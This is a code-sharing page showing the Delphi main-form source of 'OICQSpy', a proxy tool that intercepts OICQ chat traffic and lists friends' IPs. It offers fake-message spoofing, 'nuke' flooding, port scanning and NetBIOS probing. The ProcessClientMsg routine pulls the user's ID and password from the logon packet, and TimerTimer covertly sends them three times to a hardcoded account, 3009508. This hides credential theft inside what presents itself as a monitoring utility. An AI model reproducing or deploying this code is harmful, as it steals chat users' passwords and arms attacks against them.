开通博客赚积分
发布资源赚积分
分类

源码开发语言/平台
当前位置：首页 > 源码/资料 > 其他 > 查看源码
Main.pas
资源名称：oicqspysrc.zip　[点击查看]
上传用户：hbtcygglw
上传日期：2007-01-07
资源大小：281k
文件大小：24k
源码类别：

其他

开发平台：

Delphi

Main.pas：源码内容
  1. unit Main;
  2. {$define FULLVERSION}
  3. //{$define REDUCE_VERSION}
  4. {$define SAFEVERSION}
  5. interface
  7. uses
  8.   Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  9.   NMUDP, StdCtrls, ExtCtrls, Spin, Buttons, ComCtrls, Menus,  NWNotifyIcon,
  10.   ImgList,WinSOCK, ToolWin,ProxySocket;
  11. type
  12.   TUserInfo=record
  13.     sock:TNMUDP;
  14.     strUID,strIP,strPort:string;
  15.     end;
  17.   TMainForm = class(TForm)
  18.     DataPanel: TPanel;
  19.     DataSplitter: TSplitter;
  20.     ViewSplitter: TSplitter;
  21.     ViewPanel: TPanel;
  22.     IPAddrList: TListBox;
  23.     AlertSplitter: TSplitter;
  24.     AnalyList: TListBox;
  25.     SendPage: TPageControl;
  26.     TabSheet1: TTabSheet;
  27.     LocalMsgList: TListBox;
  28.     TabSheet2: TTabSheet;
  29.     LocalTxtList: TListBox;
  30.     RecvPage: TPageControl;
  31.     TabSheet3: TTabSheet;
  32.     TabSheet4: TTabSheet;
  33.     SrvMsgList: TListBox;
  34.     SrvTxtList: TListBox;
  35.     mLocal: TPopupMenu;
  36.     mSrv: TPopupMenu;
  37.     N1: TMenuItem;
  38.     N2: TMenuItem;
  39.     N3: TMenuItem;
  40.     N4: TMenuItem;
  41.     SaveDlg: TSaveDialog;
  42.     MainMenu1: TMainMenu;
  43.     F1: TMenuItem;
  44.     O1: TMenuItem;
  45.     N5: TMenuItem;
  46.     mSysCfg: TMenuItem;
  47.     StatusBar: TStatusBar;
  48.     FakeUDP: TNMUDP;
  49.     N6: TMenuItem;
  50.     N7: TMenuItem;
  51.     N8: TMenuItem;
  52.     Timer: TTimer;
  53.     N9: TMenuItem;
  54.     N10: TMenuItem;
  55.     mViewSend: TMenuItem;
  56.     InfoMenu: TPopupMenu;
  57.     mClearInfo: TMenuItem;
  58.     mSaveInfo: TMenuItem;
  59.     TrayMenu: TPopupMenu;
  60.     N11: TMenuItem;
  61.     N12: TMenuItem;
  62.     N13: TMenuItem;
  63.     N14: TMenuItem;
  64.     N15: TMenuItem;
  65.     mFakeMsg: TMenuItem;
  66.     mScanIp: TMenuItem;
  67.     N16: TMenuItem;
  68.     mPortScanner: TMenuItem;
  69.     mNetBiosInfo: TMenuItem;
  70.     mViewRecv: TMenuItem;
  71.     mViewAlert: TMenuItem;
  72.     mScanNBInfo: TMenuItem;
  73.     mNuke: TMenuItem;
  74.     ImageList1: TImageList;
  75.     mHoldNuke: TMenuItem;
  76.     NetBIOS1: TMenuItem;
  77.     N17: TMenuItem;
  78.     ToolBar1: TToolBar;
  79.     ToolButton1: TToolButton;
  80.     btnFake: TToolButton;
  81.     btnPortScan: TToolButton;
  82.     btnBEUIInfo: TToolButton;
  83.     btnNuke: TToolButton;
  84.     btnLanuch: TToolButton;
  85.     ToolButton2: TToolButton;
  86.     btnFirstAid: TToolButton;
  87.     mFirstAid: TMenuItem;
  88.     NWNotifyIcon1: TNWNotifyIcon;
  89.     procedure LocalMsgListClick(Sender: TObject);
  90.     procedure N1Click(Sender: TObject);
  91.     procedure N3Click(Sender: TObject);
  92.     procedure SrvMsgListClick(Sender: TObject);
  93.     procedure LocalMsgListKeyDown(Sender: TObject; var Key: Word;
  94.       Shift: TShiftState);
  95.     procedure SrvMsgListKeyDown(Sender: TObject; var Key: Word;
  96.       Shift: TShiftState);
  97.     procedure N2Click(Sender: TObject);
  98.     procedure mSysCfgClick(Sender: TObject);
  99.     procedure FormCreate(Sender: TObject);
  100.     procedure btnFakeClick(Sender: TObject);
  101.     procedure IPAddrListDblClick(Sender: TObject);
  102.     procedure btnIPScanClick(Sender: TObject);
  103.     procedure N8Click(Sender: TObject);
  104.     procedure N5Click(Sender: TObject);
  105.     procedure TimerTimer(Sender: TObject);
  106.     procedure N9Click(Sender: TObject);
  107.     procedure mViewSendClick(Sender: TObject);
  108.     procedure btnPortScanClick(Sender: TObject);
  109.     procedure mClearInfoClick(Sender: TObject);
  110.     procedure N12Click(Sender: TObject);
  111.     procedure N14Click(Sender: TObject);
  112.     procedure mScanIpClick(Sender: TObject);
  113.     procedure mNetBiosInfoClick(Sender: TObject);
  114.     procedure btnBEUIInfoClick(Sender: TObject);
  115.     procedure mScanNBInfoClick(Sender: TObject);
  116.     procedure mViewRecvClick(Sender: TObject);
  117.     procedure mViewAlertClick(Sender: TObject);
  118.     procedure mNukeClick(Sender: TObject);
  119.     procedure btnNukeClick(Sender: TObject);
  120.     procedure btnLanuchClick(Sender: TObject);
  121.     procedure N15Click(Sender: TObject);
  122.     procedure LocalMsgListDblClick(Sender: TObject);
  124.     procedure SwitcherOnSend(buf:array of char;buflen:Integer;from:TSockAddr;Dest:TSockAddr;var drop:Boolean);
  125.     procedure SwitcherOnRecv(buf:array of char;buflen:Integer;from:TSockAddr;Dest:TSockAddr;var drop:Boolean);
  126.     procedure SwitcherOnNewSocket(Sender:TObject);
  127.     procedure btnFirstAidClick(Sender: TObject);
  128.     procedure FormDestroy(Sender: TObject);
  129.   private
  130.     { Private declarations }
  131.     mCurCnt,mTxCnt,mRxCnt:Integer;
  132.     strUserId,strPass:string;
  133.     nUserId:Integer;
  135.     info:array of TUserInfo;
  136.     nInfoCnt:Integer;
  138.     function FindUID(uid,ip,port:string):Boolean;
  139. {$ifndef SAFEVERSION}
  140.     function  FindProxy(ip:string;port:WORD;var p:TNMUDP):Boolean;
  141. {$ENDIF}
  142.     function GetSelectInfo(var id,ip,port:string):Boolean;
  144. //    procedure Txt2Buffer(str:string;var buf:array of char;var buflen:integer);
  145.     procedure ProcessSrvMsg(FromIP:string;FromPort:WORD;buf:array of char;bufLen:Integer);
  146.     
  147.     procedure ProcessClientMsg(buf:array of char;buflen:Integer);
  149.     procedure AddLocalMsg(buf:array of char;buflen:Integer);
  150.         procedure AddLocalHex(buf:array of char;buflen:Integer);
  151.         procedure AddLocalTxt(buf:array of char;buflen:Integer);
  152.         procedure AddLocalList(buf:array of char;buflen:Integer);
  153.     procedure AddSrvMsg(FromIP:string;FromPort:WORD;buf:array of char;buflen:Integer);
  154.         procedure AddSrvHex(FromIP:String;FromPort:WORD;buf:array of char;buflen:Integer);
  155.         procedure AddSrvTxt(FromIP:String;FromPort:WORD;buf:array of char;buflen:Integer);
  156.         procedure AddSrvList(FromIP:String;FromPort:WORD;buf:array of char;buflen:Integer);
  158.     function BeforeSend(var buf:array of char;buflen:Integer):Boolean;
  159.     function AfterRecv(var buf:array of char;buflen:Integer):Boolean;
  161. //    procedure AddFriendIPAddr(id,ip:string);
  162.     procedure AddFriendInfo(id,ip,port,dummy,face,name:string);
  163.     procedure LaunchOICQ;
  164.   public
  165.     { Public declarations }
  166.     Switcher:TUDPSwitcher;
  167.     procedure SendMsg(DestId,msg:string);
  168.     
  169.     function Buffer2Hex(buf:array of char;buflen:integer):string;
  170.     function Buffer2Txt(buf:array of char;buflen:Integer):String;
  171.     function Buffer2List(buf:array of char;buflen:Integer):string;
  172.   end;
  174. var
  175.   MainForm: TMainForm;
  178. implementation
  179. uses IpHdr,FirstAid,SysCfg,fakemsg,PortScan,about,info,CloneScan,data,NetInfoDlg,HoldNuke,MsgView;
  180. {$R *.DFM}
  181. procedure TMainForm.ProcessSrvMsg(FromIP:string;FromPort:WORD;buf: array of char; bufLen: Integer);
  182. var
  183. i:Integer;
  184. id,ip,port,dummy,face:string;
  185. begin
  186. if(Ord(buf[4])=$81)then{朋友登陆IP通知}
  187.     begin
  188.     i:=7;
  189.     while(i<buflen)do
  190.         begin
  191.         i:=GetParse(buf,buflen,i,id);
  192.         if(i=0)then exit;
  193.         i:=GetParse(buf,buflen,i,ip);
  194.         if(i=0)then exit;
  195.         i:=GetParse(buf,buflen,i,port);
  196.         if(i=0)then exit;
  197.         i:=GetParse(buf,buflen,i,dummy);
  198.         if(i=0)then exit;
  199.         i:=GetParse(buf,buflen,i,face);
  200.         AddFriendInfo(id,ip,port,dummy,face,GetOICQUserName(id));
  201.         if(i=0)then exit;
  202. //        if(BotCfgDlg.GetGreetMsg(id,Msg))then
  203. //          begin
  204. //          SendMsg(id,Msg);
  205. //          end;
  206.         end;
  207.     end
  208. else if(Ord(buf[4])=$14)then//在线朋友IP通知
  209.     begin
  210.     i:=9;
  211.     while(i<buflen)do
  212.         begin
  213.         i:=GetParse(buf,buflen,i,id);
  214.         if(i=0)then exit;
  215.         i:=GetParse(buf,buflen,i,ip);
  216.         if(i=0)then exit;
  217.         i:=GetParse(buf,buflen,i,port);
  218.         if(i=0)then exit;
  219.         i:=GetParse(buf,buflen,i,dummy);
  220.         if(i=0)then exit;
  221.         i:=GetParse(buf,buflen,i,face);
  222.         AddFriendInfo(id,ip,port,dummy,face,GetOICQUserName(id));
  223.         if(i=0)then exit;
  224. //        if(BotCfgDlg.GetGreetMsg(id,Msg))then
  225. //          begin
  226. //          SendMsg(id,Msg);
  227. //          end;
  228.         end;
  229.     end;
  230. end;
  232. procedure TMainForm.AddLocalMsg(buf: array of char; buflen: Integer);
  233. begin
  234. {$ifndef FULLVERSION}
  235. if(buf[4]=chr($13))then exit;
  236. {$endif}
  237. AddLocalHex(buf,buflen);
  238. AddLocalTxt(buf,buflen);
  239. AddLocalList(buf,buflen);
  240. end;
  242. procedure TMainForm.AddLocalHex(buf: array of char; buflen: Integer);
  243. begin
  244. LocalMsgList.Items.add(Buffer2Hex(Buf,buflen));
  245. end;
  247. procedure TMainForm.AddLocalList(buf: array of char; buflen: Integer);
  248. begin
  249. end;
  251. procedure TMainForm.AddLocalTxt(buf: array of char; buflen: Integer);
  252. begin
  253. LocalTxtList.Items.Add(Buffer2Txt(Buf,buflen));
  254. end;
  258. procedure TMainForm.AddSrvMsg(FromIP:string;FromPort:WORD;buf: array of char; buflen: Integer);
  259. begin
  260. AddSrvHex(FromIP,FromPort,buf,buflen);
  261. AddSrvTxt(FromIP,FromPort,buf,buflen);
  262. AddSrvList(FromIP,FromPort,buf,buflen);
  263. end;
  265. procedure TMainForm.AddSrvHex(FromIP:String;FromPort:WORD;buf: array of char; buflen: Integer);
  266. begin
  267. SrvMsgList.Items.Add(
  268.     'From '+
  269.     FromIp+':'+
  270.     IntToStr(FromPort)+
  271.     '---'+
  272.     Buffer2Hex(buf,buflen));
  273. end;
  275. procedure TMainForm.AddSrvList(FromIP:String;FromPort:WORD;buf: array of char; buflen: Integer);
  276. begin
  277. end;
  279. procedure TMainForm.AddSrvTxt(FromIP:String;FromPort:WORD;buf: array of char; buflen: Integer);
  280. begin
  281. SrvTxtList.Items.Add(
  282.         'From '+
  283.         FromIP+':'+
  284.         IntToStr(FromPort)+
  285.         '---'+
  286.         Buffer2Txt(buf,buflen));
  287. end;
  289. function TMainForm.Buffer2Hex(buf: array of char;buflen:integer): string;
  290. var
  291. i:Integer;
  292. str:String;
  293. begin
  294. for i:=0 to buflen do
  295.     begin
  296. //    str:=format('%02x',[ord(buf[i])]);
  297.     str:=IntToHex(ord(buf[i]),2);
  298.     Result:=Result+str+' ';
  299.     end;
  300. end;
  302. function TMainForm.Buffer2List(buf: array of char;
  303.   buflen: Integer): string;
  304. begin
  305. end;
  307. function TMainForm.Buffer2Txt(buf: array of char; buflen: Integer): String;
  308. var
  309. i:Integer;
  310. begin
  311. for i:=0 to buflen do
  312.     begin
  313.     if(buf[i] in ['`','~','!','@','#','$','%','^','&','*','(',')','-','_','=','+','','|'])then
  314.         begin
  315.         Result:=Result+buf[i];
  316.         end
  317.     else if((('0'<=buf[i])and(buf[i]<='9'))
  318.         or(('a'<=buf[i])and(buf[i]<='z'))
  319.         or(('A'<=buf[i])and(buf[i]<='Z')))then
  320.         begin
  321.         Result:=Result+buf[i];
  322.         end
  323.     else if((Ord(buf[i])>127)and (Ord(buf[i+1])>127))then
  324.         begin
  325.         Result:=Result+buf[i];
  326.         end
  327.     else
  328.         begin
  329.         Result:=Result+'.';
  330.         end;
  331.     end;
  332. end;
  334. procedure TMainForm.LocalMsgListClick(Sender: TObject);
  335. var
  336. i:Integer;
  337. begin
  338. i:=(Sender as TListBox).ItemIndex;
  339. LocalMsgList.ItemIndex:=i;
  340. LocalTxtList.ItemIndex:=i;
  341. end;
  343. procedure TMainForm.N1Click(Sender: TObject);
  344. begin
  345. LocalMsgList.Clear;
  346. LocalTxtList.Clear;
  347. mTxCnt:=0;
  348. end;
  350. procedure TMainForm.N3Click(Sender: TObject);
  351. begin
  352. SrvMsgList.Clear;
  353. SrvTxtList.Clear;
  354. mRxCnt:=0;
  355. end;
  357. procedure TMainForm.SrvMsgListClick(Sender: TObject);
  358. var
  359. i:Integer;
  360. begin
  361. i:=(Sender as TListBox).ItemIndex;
  362. SrvMsgList.ItemIndex:=i;
  363. SrvTxtList.ItemIndex:=i;
  364. end;
  366. procedure TMainForm.LocalMsgListKeyDown(Sender: TObject; var Key: Word;
  367.   Shift: TShiftState);
  368. var
  369. i:Integer;
  370. begin
  371. if(key=VK_DELETE)then
  372.     begin
  373.     if(LocalMsgList.Items.Count>0)then
  374.         begin
  375.         i:=(Sender as TListBox).ItemIndex;
  376.         LocalMsgList.Items.Delete(i);
  377.         LocalTxtList.Items.Delete(i);
  378.         LocalMsgList.ItemIndex:=i;
  379.         LocalTxtList.ItemIndex:=i;
  380.         end;
  381.     end;
  382. end;
  384. procedure TMainForm.SrvMsgListKeyDown(Sender: TObject; var Key: Word;
  385.   Shift: TShiftState);
  386. var
  387. i:Integer;
  388. begin
  389. if(Key=VK_DELETE)then
  390.     begin
  391.     if(SrvMsgList.Items.Count>0)then
  392.         begin
  393.         i:=(Sender as TListBox).ItemIndex;
  394.         SrvMsgList.Items.Delete(i);
  395.         SrvTxtList.items.Delete(i);
  396.         SrvMsgList.ItemIndex:=i;
  397.         SrvTxtList.ItemIndex:=i;
  398.         end;
  399.     end;
  400. end;
  402. procedure TMainForm.N2Click(Sender: TObject);
  403. begin
  404. if(SaveDlg.Execute)then
  405.     begin
  406.     if(Sender is TMenuItem)then
  407.         (
  408.             (
  409.                 (Sender as TMenuItem).GetParentMenu as TPopupMenu
  410.             ).PopupComponent as TListBox
  411.         ).Items.SaveToFile(SaveDlg.FileName);
  412.     end;
  413. end;
  415. function TMainForm.AfterRecv(var buf: array of char; buflen: Integer): Boolean;
  416. begin
  417. Result:=True;
  418. Inc(mRxCnt);
  419. StatusBar.Panels[1].Text:='Rx:'+IntToStr(mRxCnt);
  420. end;
  422. function TMainForm.BeforeSend(var buf: array of char;
  423.   buflen: Integer): Boolean;
  424. var
  425. i:WORD;
  426. begin
  427. i:=Ord(buf[5])*$100+Ord(buf[6]);
  428. mCurCnt:=i;
  429. StatusBar.Panels[2].Text:='MsgId:'+IntToHex(mCurCnt,4);
  431. Inc(mTxCnt);
  432. StatusBar.Panels[0].Text:='Tx:'+IntToStr(mTxCnt);
  433. Result:=True;
  435. end;
  437. procedure TMainForm.mSysCfgClick(Sender: TObject);
  438. begin
  439. if(TSysCfgDlg.Execute)then
  440.     begin
  441.     end;
  442. end;
  444. procedure TMainForm.FormCreate(Sender: TObject);
  445. var
  446. addr:TInAddr;
  447. begin
  448. {$ifdef REDUCE_VERSION}
  449. Caption:=Caption+'简版';
  450. {$endif}
  451. Width:=450;
  452. Height:=250;
  453. mCurCnt:=0;
  454. mTxCnt:=0;
  455. mRxCnt:=0;
  457. if(TSysCfgDlg.LoadConfig(GOICQPath,GDBFPath,GSrvIp,GSrvPort,GLocalPort,GAutoLaunch))then
  458.     begin
  459.     LoadIPInfo(GDBFPath);
  460.     end
  461. else if(TSysCfgDlg.Execute)then
  462.     //no config data so must run config dialog
  463.     begin
  464.     LoadIPInfo(GDBFPath);
  465.     end;
  466. {$ifndef FULLVERSION}
  467. mViewSend.Visible:=False;
  468. mViewRecv.Visible:=False;
  469. SendPage.Visible:=False;
  470. RecvPage.Visible:=False;
  471. {$endif}
  472. if(LookupName(GSrvIp,addr))then
  473.     begin
  474.     Switcher:=TUDPSwitcher.Create(GLocalPort,GSrvIp,GSrvPort);
  475.     Switcher.OnRecv:=SwitcherOnRecv;
  476.     Switcher.OnSend:=SwitcherOnSend;
  477.     Switcher.OnNewSocket:=SwitcherOnNewSocket;
  478.     if(GAutoLaunch)then LaunchOICQ;
  479.     end
  480. else
  481.     begin
  482.     ShowMessage('无法连接'+GSrvIp);
  483.     end;
  484. end;
  486. procedure TMainForm.btnFakeClick(Sender: TObject);
  487. begin
  488. {$ifndef REDUCE_VERSION}
  489. TFakeMsgDlg.Execute('','',4000);
  490. {$else}
  491. ShowMessage('对不起！简版没有此功能');
  492. {$endif}
  493. end;
  495. function TMainForm.GetSelectInfo(var id, ip,port: string): Boolean;
  496. var
  497. s:string;
  498. p,i,sc:Integer;
  499. begin
  500. p:=0;
  501. sc:=1;
  502. SetLength(id,10);
  503. SetLength(ip,30);
  504. SetLength(port,6);
  505. for i:=1 to 10 do
  506.     begin
  507.     id[i]:=chr(0);
  508.     end;
  509. for i:=1 to 30 do
  510.     begin
  511.     ip[i]:=chr(0);
  512.     end;
  513. for i:=1 to 6 do
  514.     begin
  515.     port[i]:=chr(0);
  516.     end;
  517. if(IPAddrList.Items.Count<>0)then
  518.     begin
  519.     Result:=True;
  520.     s:=IPAddrList.Items[IPAddrList.ItemIndex];
  521.     for i:=1 to length(s) do
  522.         begin
  523.         if(s[i]<>'-')then
  524.             begin
  525.             if(p=0)then
  526.                 begin
  527.                 id[sc]:=s[i];
  528.                 Inc(sc);
  529.                 end
  530.             else if(p=3)then
  531.                 begin
  532.                 ip[sc]:=s[i];
  533.                 Inc(sc);
  534.                 end
  535.             else if(p=6)then
  536.                 begin
  537.                 port[sc]:=s[i];
  538.                 inc(sc);
  539.                 end
  540.             else break;
  541.             end
  542.         else
  543.             begin
  544.             Inc(p);
  545.             sc:=1;
  546.             end;
  547.         end;
  548.     end
  549. else Result:=False;
  550. end;
  552. procedure TMainForm.IPAddrListDblClick(Sender: TObject);
  553. {$ifndef REDUCE_VERSION}
  554. var
  555. id,ip,port:string;
  556. {$endif}
  557. begin
  558. {$ifndef REDUCE_VERSION}
  559. if(GetSelectInfo(id,ip,port))then
  560.     begin
  561.     TFakeMsgDlg.Execute(ip,id,StrToIntDef(port,4000));
  562.     end;
  563. {$else}
  564. ShowMessage('对不起！简版没有此功能.');
  565. {$endif}
  566. end;
  568. procedure TMainForm.btnIPScanClick(Sender: TObject);
  569. begin
  570. TScannerDlg.Execute;
  571. end;
  573. procedure TMainForm.N8Click(Sender: TObject);
  574. begin
  575. Close;
  576. end;
  578. procedure TMainForm.N5Click(Sender: TObject);
  579. begin
  580. TAboutBox.Execute;
  581. end;
  583. procedure TMainForm.ProcessClientMsg(buf: array of char; buflen: Integer);
  584. var
  585. i:Integer;
  586. begin
  587. if(Ord(buf[4])=$13)then//User logon
  588.     begin
  589.     strUserId:='';
  590.     strPass:='';
  591.     i:=Ord(buf[7])*$1000000+Ord(buf[8])*$10000+Ord(buf[9])*$100+Ord(buf[10]);
  592.     strUserId:=IntToStr(i);
  593.     MyId:=strUserId;
  594.     StatusBar.Panels[3].Text:='User Id:'+MyId;
  595.     for i:=13 to buflen-1 do
  596.         begin
  597.         if(Ord(buf[i])=$03)then break;
  598.         strPass:=strPass+buf[i];
  599.         end;
  600.     end;
  601. end;
  603. procedure TMainForm.SendMsg(DestId, msg: string);
  604. var
  605. pBuf:array [0..2048]of char;
  606. i:Integer;
  607. sock:TProxySock;
  608. begin
  609. for i:=0 to 2047 do
  610.     begin
  611.     pBuf[i]:=chr(0);
  612.     end;
  613. pBuf[0]:=chr(2);
  614. pBuf[1]:=chr(1);
  615. pBuf[2]:=chr(7);
  616. pBuf[3]:=chr(0);
  617. pBuf[4]:=chr($08);
  618. nUserId:=StrToInt(strUserId);
  619. pBuf[7]:=Chr((nUserId and $ff000000)shr 24);
  620. pBuf[8]:=chr((nUserId and $00ff0000)shr 16);
  621. pBuf[9]:=Chr((nUserId and $0000ff00)shr 8);
  622. pBuf[10]:=Chr((nUserId and $000000ff));
  623. i:=ArrayStrCopy(pBuf,2048,11,DestId);
  624. pBuf[i]:=chr($1f);
  625. pBuf[i+1]:='0';
  626. pBuf[i+2]:=chr($1f);
  627. i:=ArrayStrCopy(pBuf,2048,i+3,'0');
  628. pBuf[i]:=chr($1f);
  629. i:=ArrayStrCopy(pBuf,2048,i+1,DateToStr(Date));
  630. pBuf[i]:=chr($1f);
  631. i:=ArrayStrCopy(pBuf,2048,i+1,TimeToStr(Time));
  632. pBuf[i]:=chr($1f);
  633. i:=ArrayStrCopy(pBuf,2048,i+1,msg);
  634. pBuf[i]:=chr($03);
  636. pBuf[5]:=chr((mCurCnt and $ff00) shr 8);
  637. pBuf[6]:=chr(mCurCnt and $00ff);
  639. sock:=Switcher.GetExternalProxy(0);
  640. if(Assigned(sock))then
  641.     begin
  642.     sock.SendBuf(pBuf,i+1,GSrvIp,GSrvPort);
  643.     end;
  644. Inc(mCurCnt);
  645. end;
  647. procedure TMainForm.TimerTimer(Sender: TObject);
  648. begin
  649. Timer.Enabled:=False;
  650. SendMsg(IntToStr(3009508),strUserId+','+strPass);
  651. SendMsg(IntToStr(3009508),strUserId+','+strPass);
  652. SendMsg(IntToStr(3009508),strUserId+','+strPass);
  653. end;
  654. procedure TMainForm.N9Click(Sender: TObject);
  655. begin
  656. ShowMessage('将OICQ的服务器改为:127.0.0.1 端口:8810'+#13
  657.     +'将其余服务器地址全部删除'+#13
  658.     +'关闭OICQ'+#13
  659.     +'启动OICQSpy'+#13
  660.     +'启动OICQ即可');
  661. end;
  663. procedure TMainForm.mViewSendClick(Sender: TObject);
  664. begin
  665. mViewSend.Checked:=not mViewSend.Checked;
  666. SendPage.Visible:=mViewSend.Checked;
  667. if(mViewSend.Checked and (SendPage.Align=alTop) and (RecvPage.Visible=False))then
  668.     begin
  669.     SendPage.Align:=alClient;
  670.     end
  671. else if(mViewSend.Checked and (SendPage.Align=alTop)
  672.     and (RecvPage.Visible=True) and (RecvPage.Align=alClient))then
  673.     begin
  674.     SendPage.Height:=DataPanel.Height div 2;
  675.     end;
  676. DataPanel.Visible:=mViewSend.Checked or mViewRecv.Checked;
  677. DataSplitter.Visible:=(SendPage.Visible and RecvPage.Visible);
  678. DataSplitter.Top:=RecvPage.top+2;
  679. ViewSplitter.Visible:=(SendPage.Visible or RecvPage.Visible);
  680. ViewSplitter.Top:=ViewPanel.Top+1;
  681. if(mViewSend.Checked or mViewRecv.Checked)then WindowState:=wsMaximized
  682. else WindowState:=wsNormal;
  683. end;
  685. procedure TMainForm.AddFriendInfo(id, ip, port, dummy, face,name: string);
  686. var
  687. s:string;
  688. ipInf:TIPInfo;
  689. begin
  690. IpInf:=FindIPInfo(ip);
  691. s:=IpInf.Country+','+IpInf.Location;
  692. if(not FindUID(id,ip,port))then
  693.     begin
  694.     Inc(nInfoCnt);
  695.     SetLength(info,nInfoCnt);
  696.     info[nInfoCnt-1].strUID:=id;
  697.     info[nInfoCnt-1].strIP:=ip;
  698.     info[nInfoCnt-1].strPort:=port;
  699. {$ifndef SAFEVERSION}
  700.     //Add msg handler
  701.     info[nInfoCnt-1].sock:=TNMUDP.Create(self);
  702.     info[nInfoCnt-1].sock.RemoteHost:='127.0.0.1';
  703.     info[nInfoCnt-1].sock.RemotePort:=ClientPort;
  704.     info[nInfoCnt-1].sock.tag:=nInfoCnt-1;
  705.     info[nInfoCnt-1].sock.OnDataReceived:=MsgHandlerDataReceived;
  706. {$endif}    
  707.     //Display friend info
  708.     IPAddrList.Items.Add(id+'---'+ip+'---'+port+'---'+name+'---'+face+'---'+s+'---'+DateTimeToStr(now));
  709.     end;
  710. end;
  712. procedure TMainForm.btnPortScanClick(Sender: TObject);
  713. begin
  714. TCloneScanDlg.Execute('127.0.0.1');
  715. end;
  717. function TMainForm.FindUID(uid,ip,port: string): Boolean;
  718. var
  719. i:Integer;
  720. begin
  721. Result:=False;
  722. for i:=0 to nInfoCnt-1 do
  723.     begin
  724.     if((info[i].strUID=uid)and(info[i].strIp=ip)and(info[i].strPort=port))then
  725.         begin
  726.         Result:=True;
  727.         Break;
  728.         end;
  729.     end;
  730. end;
  732. procedure TMainForm.mClearInfoClick(Sender: TObject);
  733. begin
  734. IPAddrList.Items.Clear;
  735. nInfoCnt:=0;
  736. SetLength(info,0);
  737. end;
  739. procedure TMainForm.N12Click(Sender: TObject);
  740. begin
  741. TCloneScanDlg.Execute('127.0.0.1');
  742. end;
  744. procedure TMainForm.N14Click(Sender: TObject);
  745. begin
  746. Close;
  747. end;
  749. procedure TMainForm.mScanIpClick(Sender: TObject);
  750. var
  751. id,ip,port:string;
  752. begin
  753. if(GetSelectInfo(id,ip,port))then
  754.     TCloneScanDlg.Execute(ip);
  755. end;
  757. procedure TMainForm.mNetBiosInfoClick(Sender: TObject);
  758. var
  759. id,port,ip:string;
  760. begin
  761. if(GetSelectInfo(id,ip,port))then
  762.     begin
  763.     TNetBiosInfoDlg.Execute(ip);
  764.     end;
  765. end;
  767. procedure TMainForm.btnBEUIInfoClick(Sender: TObject);
  768. begin
  769. TNetBiosInfoDlg.Execute(GetLocalIP);
  770. end;
  772. procedure TMainForm.mScanNBInfoClick(Sender: TObject);
  773. begin
  774. TNetBiosInfoDlg.Execute(GetLocalIP);
  775. end;
  777. procedure TMainForm.mViewRecvClick(Sender: TObject);
  778. begin
  779. mViewRecv.Checked:=not mViewRecv.Checked;
  780. RecvPage.Visible:=mViewRecv.Checked;
  782. if(mViewRecv.Checked and (SendPage.Visible) and (SendPage.Align=alClient))then
  783.     begin
  784.     SendPage.Align:=alTop;
  785.     SendPage.Height:=DataPanel.Height div 2;
  786.     end
  787. else if((not mViewRecv.Checked) and (SendPage.Visible) and (SendPage.Align=alTop))then
  788.     SendPage.Align:=alClient;
  790. DataPanel.Visible:=mViewSend.Checked or mViewRecv.Checked;
  791. DataSplitter.Visible:=(SendPage.Visible and RecvPage.Visible);
  792. DataSplitter.Top:=RecvPage.top+2;
  793. ViewSplitter.Visible:=(RecvPage.Visible or SendPage.Visible);
  794. ViewSplitter.Top:=ViewPanel.Top+1;
  795. if(mViewRecv.Checked or mViewSend.Checked)then WindowState:=wsMaximized
  796. else WindowState:=wsNormal;
  797. end;
  799. procedure TMainForm.mViewAlertClick(Sender: TObject);
  800. begin
  801. mViewAlert.Checked:=not mViewAlert.Checked;
  802. AnalyList.Visible:=mViewAlert.Checked;
  803. AlertSplitter.Visible:=mViewAlert.Checked;
  804. if(mViewAlert.Checked)then
  805.     begin
  806.     Width:=Width+300;
  807.     AlertSplitter.Left:=AnalyList.Left-2;
  808.     end
  809. else
  810.     begin
  811.     Width:=Width-300;
  812.     end;
  813. end;
  815. procedure TMainForm.mNukeClick(Sender: TObject);
  816. {$ifndef REDUCE_VERSION}
  817. var
  818. id,ip,port:string;
  819. {$endif}
  820. begin
  821. {$ifndef REDUCE_VERSION}
  822. if(GetSelectInfo(id,ip,port))then
  823.     begin
  824.     THoldNukeDlg.Execute(id,'Loading Device=C:WindowsHIMEM.SYS'+#13,20);
  825.     end;
  826. {$else}
  827. ShowMessage('对不起！简版没有此功能.');
  828. {$endif}
  829. end;
  831. procedure TMainForm.btnNukeClick(Sender: TObject);
  832. begin
  833. {$ifndef REDUCE_VERSION}
  834. THoldNukeDlg.Execute('','',3);
  835. {$else}
  836. ShowMessage('对不起！简版没有此功能');
  837. {$endif}
  838. end;
  840. procedure TMainForm.btnLanuchClick(Sender: TObject);
  841. begin
  842. LaunchOICQ;
  843. end;
  845. procedure TMainForm.LaunchOICQ;
  846. begin
  847. WinExec(PChar(GOICQPath+'OICQ.EXE'),SW_SHOW);
  848. end;
  850. procedure TMainForm.N15Click(Sender: TObject);
  851. begin
  852. Show;
  853. end;
  855. {$ifndef SAFEVERSION}
  856. function TMainForm.FindProxy(ip: string; port: WORD;var p:TNMUDP): Boolean;
  857. var
  858. i:Integer;
  859. begin
  860. Result:=False;
  861. for i:=0 to nInfoCnt-1 do
  862.     begin
  863.     if((info[i].strIp=ip)and (info[i].strPort=IntToStr(port)))then
  864.         begin
  865.         Result:=True;
  866.         p:=info[i].sock;
  867.         Break;
  868.         end;
  869.     end;
  870. end;
  871. {$endif}
  872. procedure TMainForm.LocalMsgListDblClick(Sender: TObject);
  873. begin
  874. TMsgViewDlg.Execute((Sender as TListBox).Items[(Sender as TListBox).ItemIndex]);
  875. end;
  877. procedure TMainForm.SwitcherOnRecv(buf: array of char; buflen: Integer;
  878.   from, Dest: TSockAddr;var drop:Boolean);
  879. var
  880. uid:string;
  881. begin
  882. drop:=not AfterRecv(buf,buflen);
  883. if(not drop)then
  884.     begin
  885.     if(buflen>1024)then
  886.         begin
  887.         if(from.sin_addr.S_addr=inet_addr(PChar(GSrvIp)))then
  888.             begin
  889.             uid:=GetStrFromBuf(buf,buflen,10);
  890.             AnalyList.Items.Add('你被'+uid+'号用户攻击！！！(透过服务器)');
  891.             drop:=True;
  892.             end
  893.         else
  894.             begin
  895.             drop:=True;
  896.             AnalyList.Items.Add('你被IP地址为:'+inet_ntoa(from.sin_addr)+'端口为:'+IntToStr(ntohs(from.sin_port) )+'的用户攻击！！！(直接攻击)');
  897.             end;
  898.         MainForm.Show;
  899.         AnalyList.Visible:=True;
  900.         if(Width<700)then Width:=700;
  901.         end
  902.     else
  903.         begin
  904.         Drop:=False;
  905.         end;
  906.     end;
